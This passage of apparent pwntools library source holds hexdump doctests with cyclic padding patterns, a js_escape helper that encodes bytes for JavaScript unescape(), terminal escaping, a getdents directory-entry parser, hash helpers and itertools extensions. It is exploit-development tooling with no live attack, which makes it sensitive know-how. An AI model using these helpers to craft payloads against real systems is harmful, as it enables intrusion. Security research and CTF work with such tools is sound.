     00000050  .P  .Q  .R  .S   .T  .U  .V  .W   .X  .Y  .Z  .[   .\\  .]  .^  ._  │\n        00000060  .`  .a  .b  .c   .d  .e  .f  .g   .h  .i  .j  .k   .l  .m  .n  .o  │\n        00000070  .p  .q  .r  .s   .t  .u  .v  .w   .x  .y  .z  .{   .|  .}  .~  7f  │\n        00000080  80  81  82  83   84  85  86  87   88  89  8a  8b   8c  8d  8e  8f  │\n        00000090  90  91  92  93   94  95  96  97   98  99  9a  9b   9c  9d  9e  9f  │\n        000000a0  a0  a1  a2  a3   a4  a5  a6  a7   a8  a9  aa  ab   ac  ad  ae  af  │\n        000000b0  b0  b1  b2  b3   b4  b5  b6  b7   b8  b9  ba  bb   bc  bd  be  bf  │\n        000000c0  c0  c1  c2  c3   c4  c5  c6  c7   c8  c9  ca  cb   cc  cd  ce  cf  │\n        000000d0  d0  d1  d2  d3   d4  d5  d6  d7   d8  d9  da  db   dc  dd  de  df  │\n        000000e0  e0  e1  e2  e3   e4  e5  e6  e7   e8  e9  ea  eb   ec  ed  ee  ef  │\n        000000f0  f0  f1  f2  f3   f4  f5  f6  f7   f8  f9  fa  fb   fc  fd  fe  ##  │\n        00000100\n\n        >>> print(hexdump(b'X' * 64))\n        00000000  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  │XXXX│XXXX│XXXX│XXXX│\n        *\n        00000040\n\n        >>> print(hexdump(b'X' * 64, skip=False))\n        00000000  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  │XXXX│XXXX│XXXX│XXXX│\n        00000010  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  │XXXX│XXXX│XXXX│XXXX│\n        00000020  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  │XXXX│XXXX│XXXX│XXXX│\n        00000030  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  │XXXX│XXXX│XXXX│XXXX│\n        00000040\n\n        >>> print(hexdump(fit({0x10: b'X'*0x20, 0x50-1: b'\\xff'*20}, length=0xc0) + b'\\x00'*32))\n        00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  │aaaa│baaa│caaa│daaa│\n        00000010  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  │XXXX│XXXX│XXXX│XXXX│\n        *\n        00000030  6d 61 61 61  6e 61 61 61  6f 61 61 61  70 61 61 61  │maaa│naaa│oaaa│paaa│\n        00000040  71 61 61 61  72 61 61 61  73 61 61 61  74 61 61 ff  │qaaa│raaa│saaa│taa·│\n        00000050  ff ff ff ff  ff ff ff ff  ff ff ff ff  ff ff ff ff  │····│····│····│····│\n        00000060  ff ff ff 61  7a 61 61 62  62 61 61 62  63 61 61 62  │···a│zaab│baab│caab│\n        00000070  64 61 61 62  65 61 61 62  66 61 61 62  67 61 61 62  │daab│eaab│faab│gaab│\n        00000080  68 61 61 62  69 61 61 62  6a 61 61 62  6b 61 61 62  │haab│iaab│jaab│kaab│\n        00000090  6c 61 61 62  6d 61 61 62  6e 61 61 62  6f 61 61 62  │laab│maab│naab│oaab│\n        000000a0  70 61 61 62  71 61 61 62  72 61 61 62  73 61 61 62  │paab│qaab│raab│saab│\n        000000b0  74 61 61 62  75 61 61 62  76 61 61 62  77 61 61 62  │taab│uaab│vaab│waab│\n        000000c0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│\n        *\n        000000e0\n\n        >>> print(hexdump(fit({0x10: b'X'*0x20, 0x50-1: b'\\xff'*20}, length=0xc0) + b'\\x00'*32, cyclic=1))\n        00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  │aaaa│baaa│caaa│daaa│\n        00000010  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  │XXXX│XXXX│XXXX│XXXX│\n        *\n        00000030  6d 61 61 61  6e 61 61 61  6f 61 61 61  70 61 61 61  │maaa│naaa│oaaa│paaa│\n        00000040  71 61 61 61  72 61 61 61  73 61 61 61  74 61 61 ff  │qaaa│raaa│saaa│taa·│\n        00000050  ff ff ff ff  ff ff ff ff  ff ff ff ff  ff ff ff ff  │····│····│····│····│\n        00000060  ff ff ff 61  7a 61 61 62  62 61 61 62  63 61 61 62  │···a│zaab│baab│caab│\n        00000070  64 61 61 62  65 61 61 62  66 61 61 62  67 61 61 62  │daab│eaab│faab│gaab│\n        *\n        000000c0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│\n        *\n        000000e0\n\n        >>> print(hexdump(fit({0x10: b'X'*0x20, 0x50-1: b'\\xff'*20}, length=0xc0) + b'\\x00'*32, cyclic=1, hexii=1))\n        00000000  .a  .a  .a  .a   .b  .a  .a  .a   .c  .a  .a  .a   .d  .a  .a  .a  │\n        00000010  .X  .X  .X  .X   .X  .X  .X  .X   .X  .X  .X  .X   .X  .X  .X  .X  │\n        *\n        00000030  .m  .a  .a  .a   .n  .a  .a  .a   .o  .a  .a  .a   .p  .a  .a  .a  │\n        00000040  .q  .a  .a  .a   .r  .a  .a  .a   .s  .a  .a  .a   .t  .a  .a  ##  │\n        00000050  ##  ##  ##  ##   ##  ##  ##  ##   ##  ##  ##  ##   ##  ##  ##  ##  │\n        00000060  ##  ##  ##  .a   .z  .a  .a  .b   .b  .a  .a  .b   .c  .a  .a  .b  │\n        00000070  .d  .a  .a  .b   .e  .a  .a  .b   .f  .a  .a  .b   .g  .a  .a  .b  │\n        *\n        000000c0                                                                     │\n        *\n        000000e0\n\n        >>> print(hexdump(b'A'*16, width=9))\n        00000000  41 41 41 41  41 41 41 41  41  │AAAA│AAAA│A│\n        00000009  41 41 41 41  41 41 41         │AAAA│AAA│\n        00000010\n        >>> print(hexdump(b'A'*16, width=10))\n        00000000  41 41 41 41  41 41 41 41  41 41  │AAAA│AAAA│AA│\n        0000000a  41 41 41 41  41 41               │AAAA│AA│\n        00000010\n        >>> print(hexdump(b'A'*16, width=11))\n        00000000  41 41 41 41  41 41 41 41  41 41 41  │AAAA│AAAA│AAA│\n        0000000b  41 41 41 41  41                     │AAAA│A│\n        00000010\n        >>> print(hexdump(b'A'*16, width=12))\n        00000000  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│\n        0000000c  41 41 41 41                            │AAAA│\n        00000010\n        >>> print(hexdump(b'A'*16, width=13))\n        00000000  41 41 41 41  41 41 41 41  41 41 41 41  41  │AAAA│AAAA│AAAA│A│\n        0000000d  41 41 41                                   │AAA│\n        00000010\n        >>> print(hexdump(b'A'*16, width=14))\n        00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41  │AAAA│AAAA│AAAA│AA│\n        0000000e  41 41                                         │AA│\n        00000010\n        >>> print(hexdump(b'A'*16, width=15))\n        00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41  │AAAA│AAAA│AAAA│AAA│\n        0000000f  41                                               │A│\n        00000010\n\n        >>> print(hexdump(b'A'*24, width=16, groupsize=8))\n        00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  │AAAAAAAA│AAAAAAAA│\n        00000010  41 41 41 41 41 41 41 41                           │AAAAAAAA│\n        00000018\n        >>> print(hexdump(b'A'*24, width=16, groupsize=-1))\n        00000000  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  │AAAAAAAAAAAAAAAA│\n        00000010  41 41 41 41 41 41 41 41                          │AAAAAAAA│\n        00000018\n\n        >>> print(hexdump(b'A'*24, width=16, total=False))\n        00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│\n        00000010  41 41 41 41  41 41 41 41                            │AAAA│AAAA│\n        >>> print(hexdump(b'A'*24, width=16, groupsize=8, total=False))\n        00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  │AAAAAAAA│AAAAAAAA│\n        00000010  41 41 41 41 41 41 41 41                           │AAAAAAAA│\n    \"\"\"\n    s = packing.flat(s, stacklevel=1)\n    return '\\n'.join(hexdump_iter(BytesIO(s),\n                                  width,\n                                  skip,\n                                  hexii,\n                                  begin,\n                                  style,\n                                  highlight,\n                                  cyclic,\n                                  groupsize,\n                                  total))\n\ndef negate(value, width = None):\n    \"\"\"\n    Returns the two's complement of 'value'.\n    \"\"\"\n    if width is None:\n        width = context.bits\n    mask = ((1<<width)-1)\n    return ((mask+1) - value) & mask\n\ndef bnot(value, width=None):\n    \"\"\"\n    Returns the binary inverse of 'value'.\n    \"\"\"\n    if width is None:\n        width = context.bits\n    mask = ((1<<width)-1)\n    return mask ^ value\n\n@LocalNoarchContext\ndef js_escape(data, padding=context.cyclic_alphabet[0:1], **kwargs):\n    r\"\"\"js_escape(data, padding=context.cyclic_alphabet[0:1], endian = None, **kwargs) -> str\n\n    Pack data as an escaped Unicode string for use in JavaScript's `unescape()` function\n\n    Arguments:\n        data (bytes): Bytes to pack\n        padding (bytes): A single byte to use as padding if data is of uneven length\n        endian (str): Endianness with which to pack the string (\"little\"/\"big\")\n\n    Returns:\n        A string representation of the packed data\n\n    >>> js_escape(b'\\xde\\xad\\xbe\\xef')\n    '%uadde%uefbe'\n\n    >>> js_escape(b'\\xde\\xad\\xbe\\xef', endian='big')\n    '%udead%ubeef'\n\n    >>> js_escape(b'\\xde\\xad\\xbe')\n    '%uadde%u61be'\n\n    >>> js_escape(b'aaaa')\n    '%u6161%u6161'\n    \"\"\"\n    data = packing._need_bytes(data)\n\n    padding = packing._need_bytes(padding)\n    if len(padding) != 1:\n        raise ValueError(\"Padding must be a single byte\")\n\n    if len(data) % 2:\n        data += padding[0:1]\n\n    data = bytearray(data)\n\n    if context.endian == 'little':\n        return ''.join('%u{a:02x}{b:02x}'.format(a=a, b=b) for b, a in iters.group(2, data))\n    else:\n        return ''.join('%u{a:02x}{b:02x}'.format(a=a, b=b) for a, b in iters.group(2, data))\n\n@LocalNoarchContext\ndef js_unescape(s, **kwargs):\n    r\"\"\"js_unescape(s, endian = None, **kwargs) -> bytes\n\n    Unpack an escaped Unicode string from JavaScript's `escape()` function\n\n    Arguments:\n        s (str): Escaped string to unpack\n        endian (str): Endianness with which to unpack the string (\"little\"/\"big\")\n\n    Returns:\n        A bytes representation of the unpacked data\n\n    >>> js_unescape('%uadde%uefbe')\n    b'\\xde\\xad\\xbe\\xef'\n\n    >>> js_unescape('%udead%ubeef', endian='big')\n    b'\\xde\\xad\\xbe\\xef'\n\n    >>> js_unescape('abc%u4141123')\n    b'a\\x00b\\x00c\\x00AA1\\x002\\x003\\x00'\n\n    >>> data = b'abcdABCD1234!@#$\\x00\\x01\\x02\\x03\\x80\\x81\\x82\\x83'\n    >>> js_unescape(js_escape(data)) == data\n    True\n\n    >>> js_unescape('%u4141%u42')\n    Traceback (most recent call last):\n    ValueError: Incomplete Unicode token: %u42\n\n    >>> js_unescape('%u4141%uwoot%4141')\n    Traceback (most recent call last):\n    ValueError: Failed to decode token: %uwoot\n\n    >>> js_unescape('%u4141%E4%F6%FC%u4141')\n    Traceback (most recent call last):\n    NotImplementedError: Non-Unicode % tokens are not supported: %E4\n\n    >>> js_unescape('%u4141%zz%u4141')\n    Traceback (most recent call last):\n    ValueError: Bad % token: %zz\n    \"\"\"\n    s = packing._decode(s)\n    res = []\n    p = 0\n    while p < len(s):\n        if s[p] == '%':\n            if s[p+1] == \"u\":\n                # Decode Unicode token e.g. %u4142\n                n = s[p+2:p+6]\n                if len(n) < 4:\n                    raise ValueError('Incomplete Unicode token: %s' % s[p:])\n                try:\n                    n = int(n, 16)\n                except ValueError:\n                    raise ValueError('Failed to decode token: %s' % s[p:p+6])\n                res.append(packing.p16(n))\n                p += 6\n            elif s[p+1] in string.hexdigits and s[p+2] in string.hexdigits:\n                # Decode Non-Unicode token e.g. %E4\n                raise NotImplementedError('Non-Unicode %% tokens are not supported: %s' % s[p:p+3])\n            else:\n                raise ValueError('Bad %% token: %s' % s[p:p+3])\n        else:\n            res.append(packing.p16(ord(s[p])))\n            p += 1\n\n    return b''.join(res)\n\ndef tty_escape(s, lnext=b'\\x16', dangerous=bytes(bytearray(range(0x20)))):\n    r\"\"\"tty_escape(s, lnext=b'\\x16', dangerous=bytes(bytearray(range(0x20)))) -> bytes\n\n    Escape data for terminal output. This is useful when sending data to a\n    terminal that may interpret certain bytes as control characters.\n\n    Check ``stty --all`` for the current settings on your terminal.\n\n    Arguments:\n        s (bytes): The data to escape\n        lnext (bytes): The byte to prepend to escape the next character. Defaults to ^V.\n        dangerous (bytes): The bytes to escape\n\n    Returns:\n        The escaped data.\n\n    >>> tty_escape(b'abc\\x04d\\x18e\\x16f')\n    b'abc\\x16\\x04d\\x16\\x18e\\x16\\x16f'\n    \"\"\"\n    s = s.replace(lnext, lnext * 2)\n    for b in bytearray(dangerous):\n        b = bytes(bytearray([b]))\n        if b in lnext: continue\n        s = s.replace(b, lnext + b)\n    return s\n"
  },
  {
    "path": "pwnlib/util/getdents.py",
    "content": "from pwnlib.context import context\nfrom pwnlib.util.packing import unpack\nfrom pwnlib.log import getLogger\nfrom enum import IntEnum\n\nlog = getLogger(__name__)\n\nclass Dtype(IntEnum):\n    DT_UNK = 0\n    DT_FIFO = 1\n    DT_CHR = 2\n    DT_DIR = 4\n    DT_BLK = 6\n    DT_REG = 8\n    DT_LNK = 10\n    DT_SOCK = 12\n    DT_WHT = 14\n    DT_SUBVOL = 16\n\nclass linux_dirent:\n    \"\"\"\n    Represent struct linux_dirent\n\n    .. code-block:: c\n\n        struct linux_dirent\n        {\n            unsigned long d_ino;\n            unsigned long d_off;\n            unsigned short d_reclen;\n            char d_name[];\n        };\n        // https://elixir.bootlin.com/linux/v6.14.4/source/fs/readdir.c#L244\n        // the 32version of linux_dirent stores d_type after d_name\n\n        struct linux_dirent64 {\n            u64\t\td_ino;\n            s64\t\td_off;\n            unsigned short\td_reclen;\n            unsigned char\td_type;\n            char\t\td_name[];\n        };\n        // https://elixir.bootlin.com/linux/v6.14.4/source/include/linux/dirent.h#L5\n\n        enum\n        {\n            DT_UNKNOWN = 0,\n            DT_FIFO = 1,\n            DT_CHR = 2,\n            DT_DIR = 4,\n            DT_BLK = 6,\n            DT_REG = 8,\n            DT_LNK = 10,\n            DT_SOCK = 12,\n            DT_WHT = 14,\n            DT_SUBVOL = 16\n        };\n        // https://elixir.bootlin.com/linux/v6.14.4/source/include/linux/fs_types.h#L42\n        // https://elixir.bootlin.com/linux/v6.14.4/source/fs/bcachefs/dirent_format.h#L37\n    \"\"\"\n\n    d_ino: int\n    d_off: int\n    d_reclen: int\n    d_type: Dtype\n    d_name: str\n\n    def __init__(self, buf: bytes, is_dirent64: bool):\n        size_t = 8 if is_dirent64 else context.bytes\n\n        self.d_ino = unpack(buf[0:size_t], size_t * 8)\n        self.d_off = unpack(buf[size_t : 2 * size_t], size_t * 8)\n        self.d_reclen = unpack(buf[2 * size_t : 2 * size_t + 2], 16)\n\n        if is_dirent64:\n            d_type = unpack(buf[2 * size_t + 2 : 2 * size_t + 3], 8)\n            self.d_name = buf[2 * size_t + 3 : self.d_reclen - 1]\n        else:\n            d_type = unpack(buf[self.d_reclen - 1 : self.d_reclen], 8)\n            self.d_name = buf[2 * size_t + 2 : self.d_reclen - 1]\n\n        self.d_name = self.d_name.split(b'\\x00', 1)[0].decode('utf-8')\n        self.d_type = Dtype(d_type)\n\n    def __len__(self):\n        return self.d_reclen\n\n    def __str__(self):\n        return self.d_name\n\n    def __repr__(self):\n        return f'{self.d_type.name:<8}{self.d_name}'\n\n\ndef dirents(buf: bytes) -> list[linux_dirent]:\n    \"\"\"dirents(buf: bytes) -> list[linux_dirent]:\n\n    Extracts data from a buffer emitted by getdents\n\n    Arguments:\n        buf(bytes): getdents result\n\n    Returns:\n        A list of file names\n\n    Example:\n        >>> with context.local(bytes = 4):\n        ...     buf = bytes.fromhex('5e843600c120fc1a1400746573742e63000000085f8436001f347e3010002e00be36ba040d002c00ffffff7f10002e2e00000004')\n        ...     print(dirents(buf))\n        ...     \n        [DT_REG  test.c, DT_DIR  ., DT_DIR  ..]\n    \"\"\"\n\n    bpos = 0\n    buf_len = len(buf)\n    entries = []\n\n    while bpos < buf_len:\n        try:\n            dirent = linux_dirent(buf[bpos:], False)\n            bpos += dirent.d_reclen\n            entries.append(dirent)\n        except (ValueError, UnicodeDecodeError):\n            log.warning(\"Failed to parse struct linux_dirent at position %d\", bpos)\n            break\n    return entries\n\ndef dirents64(buf: bytes) -> list[linux_dirent]:\n    \"\"\"dirents(buf: bytes) -> list[linux_dirent]:\n\n    Extracts data from a buffer emitted by getdents64\n\n    Arguments:\n        buf(bytes): getdents64 result\n\n    Returns:\n        A list of file names\n\n    Example:\n        >>> with context.local(bytes = 8):\n        ...     buf = bytes.fromhex('223a2c0000000000786a631cc120fc1a200008746573742e63007464040000000d002c00000000004802ee451f347e301800042e0000000002002c0000000000ffffffffffffff7f1800042e2e000000')\n        ...     print(dirents64(buf))\n        ...     \n        [DT_REG  test.c, DT_DIR  ., DT_DIR  ..]\n    \"\"\"\n\n    bpos = 0\n    buf_len = len(buf)\n    entries = []\n\n    while bpos < buf_len:\n        try:\n            dirent = linux_dirent(buf[bpos:], True)\n            bpos += dirent.d_reclen\n            entries.append(dirent)\n        except (ValueError, UnicodeDecodeError):\n            log.warning(\"Failed to parse struct linux_dirent64 at position %d\", bpos)\n            break\n    return entries\n"
  },
  {
    "path": "pwnlib/util/hashes.py",
    "content": "\"\"\"\nFunctions for computing various hashes of files and strings.\n\"\"\"\nimport hashlib\n\nfor _algo in hashlib.algorithms_guaranteed:\n    def _closure():\n        hash = hashlib.__dict__[_algo]\n        def file(p):\n            h = hash()\n            fd = open(p, 'rb')\n            while True:\n                s = fd.read(4096)\n                if not s:\n                    break\n                h.update(s)\n            fd.close()\n            return h\n        def sum(s):\n            return hash(s)\n        filef = lambda x: file(x).digest()\n        filef.__doc__ = 'Calculates the %s sum of a file' % _algo\n        sumf = lambda x: sum(x).digest()\n        sumf.__doc__ = 'Calculates the %s sum of a string' % _algo\n        fileh = lambda x: file(x).hexdigest()\n        fileh.__doc__ = 'Calculates the %s sum of a file; returns hex-encoded' % _algo\n        sumh = lambda x: sum(x).hexdigest()\n        sumh.__doc__ = 'Calculates the %s sum of a string; returns hex-encoded' % _algo\n        return filef, sumf, fileh, sumh\n    (globals()[_algo + 'file'],\n     globals()[_algo + 'sum'],\n     globals()[_algo + 'filehex'],\n     globals()[_algo + 'sumhex']) = _closure()\n"
  },
  {
    "path": "pwnlib/util/iters.py",
    "content": "\"\"\"\nThis module includes and extends the standard module :mod:`itertools`.\n\"\"\"\nimport collections\nimport copy\nimport marshal\nimport multiprocessing\nimport operator\nimport random\nimport time\nimport types\nfrom itertools import *\n\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\n\n__all__ = [\n    'bruteforce'                             ,\n    'mbruteforce'                            ,\n    'chained'                                ,\n    'consume'                                ,\n    'cyclen'                                 ,\n    'dotproduct'                             ,\n    'flatten'                                ,\n    'group'                                  ,\n    'iter_except'                            ,\n    'lexicographic'                          ,\n    'nth'                                    ,\n    'pad'                                    ,\n    'pairwise'                               ,\n    'powerset'                               ,\n    'quantify'                               ,\n    'random_combination'                     ,\n    'random_combination_with_replacement'    ,\n    'random_permutation'                     ,\n    'random_product'                         ,\n    'repeat_func'                            ,\n    'roundrobin'                             ,\n    'tabulate'                               ,\n    'take'                                   ,\n    'unique_everseen'                        ,\n    'unique_justseen'                        ,\n    'unique_window'                          ,\n    # these are re-exported from itertools\n    'chain'                                  ,\n    'combinations'                           ,\n    'combinations_with_replacement'          ,\n    'compress'                               ,\n    'count'                                  ,\n    'cycle'                                  ,\n    'dropwhile'                              ,\n    'groupby'                                ,\n    'filterfalse'                            ,\n    'islice'                                 ,\n    'zip_longest'                            ,\n    'permutations'                           ,\n    'product'                                ,\n    'repeat'                                 ,\n    'starmap'                                ,\n    'takewhile'                              ,\n    'tee'\n]\n\nlog = getLogger(__name__)\n\ndef take(n, iterable):\n    \"\"\"take(n, iterable) -> list\n\n    Returns first `n` elements of `iterable`.  If `iterable` is a iterator it\n    will be advanced.\n\n    Arguments:\n      n(int):  Number of elements to take.\n      iterable:  An iterable.\n\n    Returns:\n      A list of the first `n` elements of `iterable`.  If there are fewer than\n      `n` elements in `iterable` they will all be returned.\n\n    Examples:\n\n      >>> take(2, range(10))\n      [0, 1]\n      >>> i = count()\n      >>> take(2, i)\n      [0, 1]\n      >>> take(2, i)\n      [2, 3]\n      >>> take(9001, [1, 2, 3])\n      [1, 2, 3]\n    \"\"\"\n    return list(islice(iterable, n))\n\ndef tabulate(func, start = 0):\n    \"\"\"tabulate(func, start = 0) -> iterator\n\n    Arguments:\n      func(function):  The function to tabulate over.\n      start(int):  Number to start on.\n\n    Returns:\n      An iterator with the elements ``func(start), func(start + 1), ...``.\n\n    Examples:\n\n      >>> take(2, tabulate(str))\n      ['0', '1']\n      >>> take(5, tabulate(lambda x: x**2, start = 1))\n      [1, 4, 9, 16, 25]\n    \"\"\"\n    return map(func, count(start))\n\ndef consume(n, iterator):\n    \"\"\"consume(n, iterator)\n\n    Advance the iterator `n` steps ahead. If `n is :const:`None`, consume\n    everything.\n\n    Arguments:\n      n(int):  Number of elements to consume.\n      iterator(iterator):  An iterator.\n\n    Returns:\n      :const:`None`.\n\n    Examples:\n\n      >>> i = count()\n      >>> consume(5, i)\n      >>> next(i)\n      5\n      >>> i = iter([1, 2, 3, 4, 5])\n      >>> consume(2, i)\n      >>> list(i)\n      [3, 4, 5]\n      >>> def g():\n      ...     for i in range(2):\n      ...         yield i\n      ...         print(i)\n      >>> consume(None, g())\n      0\n      1\n    \"\"\"\n    # Use functions that consume iterators at C speed.\n    if n is None:\n        # feed the entire iterator into a zero-length deque\n        collections.deque(iterator, maxlen = 0)\n    else:\n        # advance to the empty slice starting at position n\n        next(islice(iterator, n, n), None)\n\ndef nth(n, iterable, default = None):\n    \"\"\"nth(n, iterable, default = None) -> object\n\n    Returns the element at index `n` in `iterable`.  If `iterable` is a\n    iterator it will be advanced.\n\n    Arguments:\n      n(int):  Index of the element to return.\n      iterable:  An iterable.\n      default(objext):  A default value.\n\n    Returns:\n      The element at index `n` in `iterable` or `default` if `iterable` has too\n      few elements.\n\n    Examples:\n\n      >>> nth(2, [0, 1, 2, 3])\n      2\n      >>> nth(2, [0, 1], 42)\n      42\n      >>> i = count()\n      >>> nth(42, i)\n      42\n      >>> nth(42, i)\n      85\n    \"\"\"\n    return next(islice(iterable, n, None), default)\n\ndef quantify(iterable, pred = bool):\n    \"\"\"quantify(iterable, pred = bool) -> int\n\n    Count how many times the predicate `pred` is :const:`True`.\n\n    Arguments:\n        iterable:  An iterable.\n        pred:  A function that given an element from `iterable` returns either\n               :const:`True` or :const:`False`.\n\n    Returns:\n      The number of elements in `iterable` for which `pred` returns\n      :const:`True`.\n\n    Examples:\n\n      >>> quantify([1, 2, 3, 4], lambda x: x % 2 == 0)\n      2\n      >>> quantify(['1', 'two', '3', '42'], str.isdigit)\n      3\n    \"\"\"\n    return sum(map(pred, iterable))\n\ndef pad(iterable, value = None):\n    \"\"\"pad(iterable, value = None) -> iterator\n\n    Pad an `iterable` with `value`, i.e. returns an iterator whoose elements are\n    first the elements of `iterable` then `value` indefinitely.\n\n    Arguments:\n      iterable:  An iterable.\n      value:  The value to pad with.\n\n    Returns:\n      An iterator whoose elements are first the elements of `iterable` then\n      `value` indefinitely.\n\n    Examples:\n\n      >>> take(3, pad([1, 2]))\n      [1, 2, None]\n      >>> i = pad(iter([1, 2, 3]), 42)\n      >>> take(2, i)\n      [1, 2]\n      >>> take(2, i)\n      [3, 42]\n      >>> take(2, i)\n      [42, 42]\n    \"\"\"\n    return chain(iterable, repeat(value))\n\ndef cyclen(n, iterable):\n    \"\"\"cyclen(n, iterable) -> iterator\n\n    Repeats the elements of `iterable` `n` times.\n\n    Arguments:\n      n(int):  The number of times to repeat `iterable`.\n      iterable:  An iterable.\n\n    Returns:\n      An iterator whoose elements are the elements of `iterator` repeated `n`\n      times.\n\n    Examples:\n\n      >>> take(4, cyclen(2, [1, 2]))\n      [1, 2, 1, 2]\n      >>> list(cyclen(10, []))\n      []\n    \"\"\"\n    return chain.from_iterable(repeat(tuple(iterable), n))\n\ndef dotproduct(x, y):\n    \"\"\"dotproduct(x, y) -> int\n\n    Computes the dot product of `x` and `y`.\n\n    Arguments:\n      x(iterable):  An iterable.\n      x(iterable):  An iterable.\n\n    Returns:\n      The dot product of `x` and `y`, i.e.: ``x[0] * y[0] + x[1] * y[1] + ...``.\n\n    Example:\n\n      >>> dotproduct([1, 2, 3], [4, 5, 6])\n      ... # 1 * 4 + 2 * 5 + 3 * 6 == 32\n      32\n    \"\"\"\n    return sum(map(operator.mul, x, y))\n\ndef flatten(xss):\n    \"\"\"flatten(xss) -> iterator\n\n    Flattens one level of nesting; when `xss` is an iterable of iterables,\n    returns an iterator whoose elements is the concatenation of the elements of\n    `xss`.\n\n    Arguments:\n      xss:  An iterable of iterables.\n\n    Returns:\n      An iterator whoose elements are the concatenation of the iterables in\n      `xss`.\n\n    Examples:\n\n      >>> list(flatten([[1, 2], [3, 4]]))\n      [1, 2, 3, 4]\n      >>> take(6, flatten([[43, 42], [41, 40], count()]))\n      [43, 42, 41, 40, 0, 1]\n    \"\"\"\n    return chain.from_iterable(xss)\n\ndef repeat_func(func, *args, **kwargs):\n    \"\"\"repeat_func(func, *args, **kwargs) -> iterator\n\n    Repeatedly calls `func` with positional arguments `args` and keyword\n    arguments `kwargs`.  If no keyword arguments is given the resulting iterator\n    will be computed using only functions from :mod:`itertools` which are very\n    fast.\n\n    Arguments:\n      func(function):  The function to call.\n      args:  Positional arguments.\n      kwargs:  Keyword arguments.\n\n    Returns:\n      An iterator whoose elements are the results of calling ``func(*args,\n      **kwargs)`` repeatedly.\n\n    Examples:\n\n      >>> def f(x):\n      ...     x[0] += 1\n      ...     return x[0]\n      >>> i = repeat_func(f, [0])\n      >>> take(2, i)\n      [1, 2]\n      >>> take(2, i)\n      [3, 4]\n      >>> def f(**kwargs):\n      ...     return kwargs.get('x', 43)\n      >>> i = repeat_func(f, x = 42)\n      >>> take(2, i)\n      [42, 42]\n      >>> i = repeat_func(f, 42)\n      >>> take(2, i)\n      Traceback (most recent call last):\n          ...\n      TypeError: f() takes exactly 0 arguments (1 given)\n    \"\"\"\n    if kwargs:\n        return starmap(lambda args, kwargs: func(*args, **kwargs),\n                       repeat((args, kwargs))\n                       )\n    else:\n        return starmap(func, repeat(args))\n\ndef pairwise(iterable):\n    \"\"\"pairwise(iterable) -> iterator\n\n    Arguments:\n      iterable:  An iterable.\n\n    Returns:\n      An iterator whoose elements are pairs of neighbouring elements of\n      `iterable`.\n\n    Examples:\n\n      >>> list(pairwise([1, 2, 3, 4]))\n      [(1, 2), (2, 3), (3, 4)]\n      >>> i = starmap(operator.add, pairwise(count()))\n      >>> take(5, i)\n      [1, 3, 5, 7, 9]\n    \"\"\"\n    a, b = tee(iterable)\n    next(b, None)\n    return zip(a, b)\n\ndef group(n, iterable, fill_value = None):\n    \"\"\"group(n, iterable, fill_value = None) -> iterator\n\n    Similar to :func:`pwnlib.util.lists.group`, but returns an iterator and uses\n    :mod:`itertools` fast build-in functions.\n\n    Arguments:\n      n(int):  The group size.\n      iterable:  An iterable.\n      fill_value:  The value to fill into the remaining slots of the last group\n        if the `n` does not divide the number of elements in `iterable`.\n\n    Returns:\n      An iterator whoose elements are `n`-tuples of the elements of `iterable`.\n\n    Examples:\n\n      >>> list(group(2, range(5)))\n      [(0, 1), (2, 3), (4, None)]\n      >>> take(3, group(2, count()))\n      [(0, 1), (2, 3), (4, 5)]\n      >>> [''.join(x) for x in group(3, 'ABCDEFG', 'x')]\n      ['ABC', 'DEF', 'Gxx']\n    \"\"\"\n    args = [iter(iterable)] * n\n    return zip_longest(fillvalue = fill_value, *args)\n\ndef roundrobin(*iterables):\n    \"\"\"roundrobin(*iterables)\n\n    Take elements from `iterables` in a round-robin fashion.\n\n    Arguments:\n      *iterables:  One or more iterables.\n\n    Returns:\n      An iterator whoose elements are taken from `iterables` in a round-robin\n      fashion.\n\n    Examples:\n\n      >>> ''.join(roundrobin('ABC', 'D', 'EF'))\n      'ADEBFC'\n      >>> ''.join(take(10, roundrobin('ABC', 'DE', repeat('x'))))\n      'ADxBExCxxx'\n    \"\"\"\n    # Recipe credited to George Sakkis\n    pending = len(iterables)\n    nexts = cycle(iter(it) for it in iterables)\n    while pending:\n        try:\n            for nxt in nexts:\n                yield next(nxt)\n        except StopIteration:\n            pending -= 1\n            nexts = cycle(islice(nexts, pending))\n\ndef powerset(iterable, include_empty = True):\n    \"\"\"powerset(iterable, include_empty = True) -> iterator\n\n    The powerset of an iterable.\n\n    Arguments:\n      iterable:  An iterable.\n      include_empty(bool):  Whether to include the empty set.\n\n    Returns:\n      The powerset of `iterable` as an interator of tuples.\n\n    Examples:\n\n      >>> list(powerset(range(3)))\n      [(), (0,), (1,), (2,), (0, 1), (0, 2), (1, 2), (0, 1, 2)]\n      >>> list(powerset(range(2), include_empty = False))\n      [(0,), (1,), (0, 1)]\n    \"\"\"\n    s = list(iterable)\n    i = chain.from_iterable(combinations(s, r) for r in range(len(s) + 1))\n    if not include_empty:\n        next(i)\n    return i\n\ndef unique_everseen(iterable, key = None):\n    \"\"\"unique_everseen(iterable, key = None) -> iterator\n\n    Get unique elements, preserving order. Remember all elements ever seen.  If\n    `key` is not :const:`None` then for each element ``elm`` in `iterable` the\n    element that will be rememberes is ``key(elm)``.  Otherwise ``elm`` is\n    remembered.\n\n    Arguments:\n      iterable:  An iterable.\n      key:  A function to map over each element in `iterable` before remembering\n        it.  Setting to :const:`None` is equivalent to the identity function.\n\n    Returns:\n     